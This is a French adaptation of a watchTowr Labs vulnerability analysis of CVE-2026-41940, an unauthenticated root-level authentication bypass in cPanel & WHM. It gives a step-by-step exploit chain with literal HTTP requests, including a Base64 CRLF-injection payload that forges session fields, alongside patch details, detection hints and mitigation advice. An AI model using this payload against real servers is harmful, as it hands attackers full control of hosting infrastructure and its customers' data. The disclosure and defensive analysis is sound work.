Analyse technique par watchTowr Labs (Sina Kheirkhah, @SinSinology) — adaptation française.
Article original : https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
Bonjour ! Oui, c’est encore le chaos. Si vous gérez des serveurs sous cPanel ou WHM, posez votre café et lisez ceci attentivement.
Qu’est-ce que cPanel & WHM ?
cPanel et WHM constituent la solution de panneau de contrôle d’hébergement la plus répandue au monde, gérant quelque part au nord de 70 millions de domaines. WHM (Web Host Manager) fournit l’accès administrateur root à l’ensemble du serveur, tandis que cPanel sert les comptes d’hébergement individuels. Pour reprendre la métaphore des chercheurs : « pensez-y comme aux clés du château, et ensuite aux clés de chaque appartement à l’intérieur du château. »
Une vulnérabilité dans ce logiciel, c’est donc une vulnérabilité qui touche potentiellement des dizaines de millions de sites en une seule fois.
CVE-2026-41940 : vue d’ensemble
La CVE-2026-41940 est un contournement d’authentification critique affectant toutes les versions actuellement supportées de cPanel & WHM — pas simplement un sous-ensemble. Elle concerne les mécanismes de chargement et de sauvegarde des sessions, et permet à un attaquant non authentifié d’obtenir un accès root complet à WHM.
Ce qui rend cette vulnérabilité particulièrement grave : une exploitation dans la nature a été confirmée en zero-day par KnownHost, ciblant l’infrastructure de gestion de serveurs d’hébergement mutualisé. Autrement dit, des attaquants s’en servaient activement avant même que le correctif ne soit disponible.
Versions affectées et versions corrigées
| Branche | Dernière version vulnérable | Version corrigée |
|---|---|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.61 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.27 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.4 | 11.136.0.5 |
Analyse technique : plongée dans le code
Les fichiers modifiés par le correctif
En comparant les versions avant et après correctif, watchTowr a identifié trois fichiers modifiés :
Cpanel/Session.pm— le module de sauvegarde de sessionCpanel/Session/Load.pm— le module de chargement de sessionCpanel/Session/Encoder.pm— un nouveau module d’encodage hexadécimal
La modification critique dans saveSession
Avant le correctif :
my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob );
local $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} )
if $encoder && length $session_ref->{'pass'};
Après le correctif :
filter_sessiondata($session_ref);
if ( length $session_ref->{'pass'} ) {
if ( defined $ob && length $ob ) {
my $encoder = Cpanel::Session::Encoder->new( 'secret' => $ob );
$session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} );
}
else {
$session_ref->{'pass'} =
'no-ob:' . Cpanel::Session::Encoder->hex_encode_only( $session_ref->{'pass'} );
}
}
Deux corrections importantes sont visibles ici :
filter_sessiondata()est maintenant appelé à l’intérieur desaveSessionplutôt que de dépendre des appelants pour le faire — cette fonction assainit les caractères dangereux\r\n=\,des données de session.- Quand
$obest absent, le mot de passe est désormais encodé en hexadécimal (no-ob:+ hex) au lieu d’être laissé en clair.
Ces deux corrections nous révèlent exactement la vulnérabilité : injection CRLF dans le fichier de session via un mot de passe non sanitisé, combinée à l’absence d’encodage quand $ob manque.
Structure des sessions cPanel
Pour comprendre l’attaque, il faut d’abord comprendre comment cPanel gère ses sessions.
Les fichiers de session sont stockés sur disque dans /var/cpanel/sessions/raw/<nom_de_session>. Quand un utilisateur tente de se connecter (même avec un mauvais mot de passe), cPanel crée un fichier de session pré-authentification :
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=mauvais_mdp
La réponse contient un cookie de session :
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa
Une fois décodé en URL : :Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa
Ce cookie est composé de deux parties séparées par une virgule :
- La partie avant la virgule : l’identifiant de session (
:Wg_mjzgt1hyfXefK) - La partie après la virgule (
1bd3d4bf...) : le secret par session, appelé$ob(pour « obfuscation »), utilisé pour encoder le champ mot de passe sur disque viaCpanel::Session::Encoder
Le fichier de session sur disque ressemble à ceci :
local_ip_address=172.17.0.2
external_validation_token=bOOwkwVzFsruooU0
cp_security_token=/cpsess7833455106
needs_auth=1
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
hulk_registered=0
tfa_verified=0
La chaîne d’exploitation en 4 étapes
Étape 1 — Injection CRLF via l’authentification Basic
Le composant cpsrvd gère l’authentification HTTP Basic. Voici la logique pertinente :
my ($user, $pass) = split(/:/, decode_base64($encoded), 2);
$user = $server_obj->auth->set_user($user); # supprime \0 et /
$pass = $server_obj->auth->set_pass($pass); # supprime \0 UNIQUEMENT
if ($SESSION_ref->{'needs_auth'}) {
delete $SESSION_ref->{'needs_auth'};
$SESSION_ref->{'user'} = $user;
$SESSION_ref->{'pass'} = $pass;
unless (Cpanel::Session::saveSession($session, $SESSION_ref)) {
$server_obj->badpass(...);
}
}
La fonction set_pass ne supprime que les octets NUL (\0). Les caractères \r\n survivent parfaitement.
Voici le payload d’injection : on commence par générer une session pré-auth via un faux login raté, ce qui donne un cookie comme :
:QSJN_sFdKZtCi2o_,4d257abc371539dfebdf7d3a3e64de0b
On renvoie ensuite une requête d’authentification Basic en supprimant la partie $ob du cookie (après la virgule), et en injectant un mot de passe malveillant :
GET / HTTP/1.1
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ==
La valeur Base64 se décode en :
root:x\r\n
hasroot=1\r\n
tfa_verified=1\r\n
user=root\r\n
cp_security_token=/cpsess9999999999\r\n
successful_internal_auth_with_timestamp=1777462149
Comme $ob est absent du cookie, saveSession n’encode pas le mot de passe et n’appelle pas filter_sessiondata (dans la version non corrigée). Les caractères \r\n sont écrits tels quels dans le fichier texte de session, créant des entrées séparées :
pass=x
hasroot=1
tfa_verified=1
user=root
cp_security_token=/cpsess9999999999
successful_internal_auth_with_timestamp=1777462149
Étape 2 — Le problème du cache JSON
Problème : loadSession donne la priorité à un cache JSON sur le fichier texte brut :
if ( $session_cache_fh = _open_if_exists_or_warn($session_cache) ) {
eval {
$session_ref = Cpanel::AdminBin::Serializer::LoadFile($session_cache_fh);
};
}
if ( !keys %$session_ref ) {
if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
$session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
$session_fh, delimiter => '='
);
}
}
Les lignes injectées restent invisibles aux requêtes suivantes car elles sont imbriquées dans la valeur du champ pass dans le cache JSON, pas en tant que clés de premier niveau. Il faut forcer une invalidation du cache.
Étape 3 — Invalidation du cache via Cpanel::Session::Modify
La classe Cpanel::Session::Modify relit le fichier texte brut et régénère le cache JSON. Ses méthodes new et save sont appelées par la fonction do_token_denied de cpsrvd :
sub do_token_denied {
if ($user_provided_session_ref = $server_obj->get_current_session_ref_if_exists) {
if (not $server_obj->request->get_supplied_security_token
or ++$user_provided_session_ref->{'token_denied'} < $max_tries)
{
require Cpanel::Session::Modify;
my $session_mod = 'Cpanel::Session::Modify'->new($session);
$session_mod->set('token_denied',
defined $session_mod->get('token_denied')
? $session_mod->get('token_denied') + 1
: 1
);
$session_mod->save;
}
}
}
Cette fonction est déclenchée quand une requête ne contient pas de security token dans l’URI. Il suffit d’envoyer :
GET /scripts2/listaccts HTTP/1.1
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_
Réponse : HTTP/1.1 401 Token Denied
Mais l’effet secondaire est crucial : Cpanel::Session::Modify::new relit le fichier texte brut (qui contient nos lignes injectées) et save les réécrit dans un nouveau cache JSON. Les clés injectées se retrouvent maintenant au premier niveau de l’objet JSON :
{
"tfa_verified": "1",
"user": "root",
"hasroot": "1",
"successful_internal_auth_with_timestamp": "1777462149",
"cp_security_token": "/cpsess0228251236",
"pass": "x"
}
Étape 4 — Contournement de la validation du mot de passe
Lors du traitement d’une requête authentifiée, handle_auth inspecte la session pour un timestamp d’authentification interne réussie :
elsif (not $SESSION_ref->{'needs_auth'}) {
if ($SESSION_ref->{'successful_internal_auth_with_timestamp'}) {
$successful_internal_auth_with_timestamp =
$SESSION_ref->{'successful_internal_auth_with_timestamp'};
}
}
Plus loin dans le flux, docheckpass_whostmgrd vérifie cette variable globale :
if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) {
$authorized = _check_external_internal_auth_from_docheckpass(%OPTS);
}
Et enfin, check_authok_user court-circuite entièrement la vérification du mot de passe :
if ($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'}
or $AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'})
{
return $Cpanel::Server::AUTH_OK, 0;
}
Résultat : l’accès root est accordé sans validation du mot de passe réel.
Impact
Cette vulnérabilité permet à un attaquant non authentifié de :
- Obtenir un accès root complet à WHM (l’interface d’administration du serveur)
- Contrôler les certificats SSL et les protocoles de sécurité
- Administrer tous les comptes d’hébergement présents sur le serveur
- Exécuter des commandes arbitraires en tant que root
- Accéder à toutes les données de tous les sites hébergés
Étant donné que cPanel/WHM gère des dizaines de millions de domaines, il s’agit d’un risque de compromission d’infrastructure à très grande échelle. Et comme l’exploitation a été confirmée en zero-day, des serveurs ont déjà été compromis avant même que le correctif n’existe.
Résumé de la chaîne d’exploitation
- Login raté → génération d’un fichier de session pré-auth avec un identifiant de session valide
- Requête Basic Auth malveillante → cookie tronqué (sans
$ob) + mot de passe contenant des injections CRLF → les lignes injectées s’écrivent dans le fichier texte de session - Requête sans security token → déclenchement de
do_token_denied→Cpanel::Session::Modifyrelit le fichier brut et régénère le cache JSON avec les clés injectées au premier niveau - Requête normale →
successful_internal_auth_with_timestampprésent dans la session → vérification du mot de passe court-circuitée →AUTH_OKretourné → accès root accordé
Détection et mitigation
Action immédiate : mettre à jour
La seule mitigation fiable est de mettre à jour vers les versions corrigées listées dans le tableau ci-dessus. cPanel propose généralement des mises à jour automatiques — vérifiez qu’elles sont activées et appliquez-les immédiatement.
Recherche de traces d’exploitation
watchTowr Labs a publié un outil de détection open source sur GitHub pour aider les défenseurs à identifier les instances vulnérables et à rechercher des traces d’exploitation dans les logs.
Points à vérifier dans vos logs WHM/cPanel :
- Requêtes de login avec des cookies tronqués (absence de la partie
$obaprès la virgule) - Présence de caractères CRLF (
\r\n) dans des champs d’authentification - Erreurs
401 Token Deniedrépétées sur une même session - Accès administratifs inhabituels, particulièrement en dehors des horaires normaux
Analyse des causes racines
Cette vulnérabilité illustre plusieurs problèmes de sécurité classiques qui se combinent pour créer une faille critique :
- Sanitisation incohérente :
filter_sessiondata()existait déjà mais n’était pas systématiquement appelé danssaveSession, laissant la responsabilité aux appelants — une dépendance fragile. - Encodage conditionnel sur une valeur absente : l’absence de
$obdans le cookie n’était pas un cas d’erreur, mais silencieusement ignorée, avec pour effet que le mot de passe n’était pas encodé et les CRLF non filtrés. - Lacune dans l’invalidation du cache : le mécanisme de cache JSON créait un écart entre l’état du fichier brut et ce que le système voyait réellement, permettant aux clés injectées de persister jusqu’à une invalidation opportuniste.
- Court-circuit d’authentification trop permissif : la présence d’un simple timestamp dans la session suffisait à bypasser entièrement la vérification du mot de passe contre
/etc/shadow.
C’est le problème classique de la « confusion d’état » : plusieurs composants font des hypothèses différentes sur la validité des données de session, et l’attaquant exploite les incohérences entre ces hypothèses.
Conclusion
CVE-2026-41940 est une vulnérabilité d’une sévérité exceptionnelle : pre-auth, zero-click, menant directement à l’accès root sur un logiciel qui propulse des dizaines de millions de domaines. L’exploitation confirmée dans la nature avant la publication du correctif rend la situation encore plus urgente.
Si vous gérez des serveurs cPanel/WHM, la mise à jour n’est pas optionnelle. Vérifiez vos logs pour des traces d’exploitation, et si vous avez un doute sur la compromission d’un serveur, traitez-le comme compromis.
Source : watchTowr Labs — Sina Kheirkhah (@SinSinology), 29 avril 2026
